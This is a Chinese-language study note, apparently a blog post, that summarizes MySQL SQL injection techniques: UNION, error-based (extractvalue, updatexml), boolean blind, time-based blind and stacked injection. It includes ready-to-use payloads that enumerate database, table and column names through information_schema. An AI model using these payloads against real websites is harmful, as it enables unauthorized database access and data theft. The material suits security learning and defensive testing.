sql注入手段整理

 

注入产生原因:用户参数中夹带sql语句,未加识别就被带入到后台数据库查询。
相关知识点:Mysql数据库中有information_schema库,当中有表
1.SCHEMATA:存储该用户创建的所有数据库库名,字段为 SCHEMA_NAME
2.TABLES:存储库名和表名,字段为 TABLE_SCHEMA,TABLE_NAME
3.COLUMNS:记录库名表名字段名,相关字段为SCHEMA,TABLE_NAME,COLUMN_NAME

limit用法:limit m,n
limit 0,1表示第一条记录开始,取一条记录

记住几个函数,database(),version(),user()

注释符,#,--,/**/

内联注释:/!code/
用于整个sql语句中,来执行我们自己的sql语句
例:index.php?id=-15 /!UNION/ /!SELECT/ 1,2,3

UNION注入攻击
用'确认某网站可能存在sql注入漏洞
用order by确认该数据表的字段数量
(id=1 order by 3与id=1返回页面相同,
order by 4返回页面不同,则字段数为3)

通过设置参数id的值来返回union select 的结果(id=-1,库中没有-1的数据,则返回union select的结果,union select 1,2,3 返回2:3,则可以在2,3的位置输入sql查询语句,如datebase()得到数据库名,接下来输入,select table_name from information_schema.tables where table_schema='数据库名' limit 0,1得到第一个表名,select column_name from information_schema.colunms where table_schema='库名' and table_name='表名' limit 0,1 获得第一个字段名

报错注入
通过'发现某站点可能存在sql注入漏洞,并在注入'时程序直接将错误信息输出到了页面上,故而可以用报错注入获取数据
相关的函数:
concat():为聚合函数,连接字符串功能
floor():取float的整数值
rand():取0~1之间随机浮点值
group by:为聚合函数,根据一个或多个列对结果集进行分组并有排序功能

extractvalue() :对XML文档进行查询的函数
其实就是相当于我们熟悉的HTML文件中用

标签查找元素一样
extractvalue(目标xml文档,xml路径)
第二个参数 xml中的位置是可操作的地方,xml文档中查找字符位置是用 /xxx/xxx/xxx/…这种格式,如果我们写入其他格式,就会报错,并且会返回我们写入的非法格式内容,而这个非法的内容就是我们想要查询的内容
正常查询 第二个参数的位置格式 为 /xxx/xx/xx/xx ,即使查询不到也不报错
select username from security.user where id=1 and (extractvalue(‘anything’,’/x/xx’))

使用concat()拼接 ‘  /  ‘ 效果相同

updatexml()函数与extractvalue()类似,是更新xml文档的函数。
语法updatexml(目标xml文档,xml路径,更新的内容)
select username from security.user where id=1 and (updatexml(‘anything’,’/xx/xx’,’anything’))

布尔盲注
某站点发现可能有SQL注入漏洞,通过改变ID值和加’发现页面不返回数据库中的数据(只返回正常或错误页面),故而不使用union注入,改而使用布尔注入,构造不同的sql语句,通过查看页面返回结果来推测那些sql判断条件是成立的,以此获得数据库中的数据。
相关函数:(用于夹逼)
length():
substr():从1开始
ascii():
left():
判断数据库库名的长度
' and length(database())>=1--+ (注释掉后面的单引号)
判断出库名的长度以后逐字判断数据库库名
' and substr(database(),1,1)='t'--+
这里可以只用burpsuit来爆破

也可以使用ASCII码的字符进行查询
' and ord(substr(database(),1,1))=115--+

然后构造sql语句以上述方法判断表名
' and substr((select table_name from information_schema.tables where table_schema='库名' limit 0,1),1,1)='e(字母)'--+

时间盲注
遇到布尔盲注的前提情况下的另一种注入方法,时间注入
相关函数:
sleep()
benchmark()
if(expr1,expr2,expr3):如果expr1条件正确,则返回expr2的值,否expr3.
在burpsuit中可以看到响应时间

if(length(database())>1,sleep(5),1)判断长度
判断库名称
表名长度
表名
,,,

堆叠注入
多语句之间用;隔开,执行多条语句,然后再第二条语句中构造自己要执行的语句,1'返回错误,1'%23返回正确
则可以使用布尔,时间以及堆叠注入

';select if(substr(user(),1,1)='字母',sleep(3),1)%23
然后就可以用时间盲注的方法获取数据

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值